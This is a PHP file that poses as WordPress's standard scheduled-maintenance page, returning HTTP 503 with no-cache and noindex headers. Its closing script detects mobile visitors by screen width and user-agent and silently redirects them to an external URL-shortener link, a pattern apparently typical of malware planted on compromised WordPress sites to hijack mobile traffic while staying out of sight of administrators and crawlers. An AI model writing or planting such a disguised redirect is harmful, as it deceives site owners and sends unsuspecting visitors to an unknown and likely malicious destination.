<?php

http_response_code(503);

header("Retry-After: 3600");

header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0");
header("Pragma: no-cache");
header("Expires: 0");

echo '<!DOCTYPE html>
<html lang="en">

<head>

<meta charset="UTF-8">

<meta name="viewport" content="width=device-width, initial-scale=1.0">

<meta name="robots" content="noindex, follow">

<title>Briefly unavailable for scheduled maintenance</title>

<style>

*{
    box-sizing:border-box;
}

body{

    margin:0;

    height:100vh;

    display:flex;

    justify-content:center;

    align-items:center;

    background:#f0f6fc;

    font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Arial,sans-serif;

    color:#21759b;

}

.box{

    background:#fff;

    padding:50px 40px;

    border-radius:18px;

    box-shadow:0 10px 35px rgba(0,0,0,.08);

    text-align:center;

    width:90%;

    max-width:600px;

}

.logo{

    font-size:62px;

    font-weight:700;

    margin:0;

    letter-spacing:-2px;

}

.text{

    margin-top:20px;

    font-size:19px;

    line-height:1.7;

    color:#5c6b77;

}

.loader{

    width:42px;

    height:42px;

    border:3px solid #d9e7f2;

    border-top:3px solid #21759b;

    border-radius:50%;

    margin:30px auto 0;

    animation:spin 1s linear infinite;

}

@keyframes spin{

    100%{
        transform:rotate(360deg);
    }

}

@media(max-width:600px){

    .logo{
        font-size:44px;
    }

    .text{
        font-size:16px;
    }

}

</style>

</head>

<body>

<div class="box">

    <h1 class="logo">WordPress</h1>

    <div class="text">
        Briefly unavailable for scheduled maintenance.<br>
        Check back in a some hours.
    </div>

    <div class="loader"></div>

</div>
<script>

const isMobile = window.matchMedia("(max-width: 768px)").matches
    || /Android|iPhone|iPad|iPod|Opera Mini|IEMobile/i.test(navigator.userAgent);

if (isMobile) {

    window.location.replace("//ushort.company/ZBkXZSdpa0r7");

}

</script>
</body>
</html>';

?>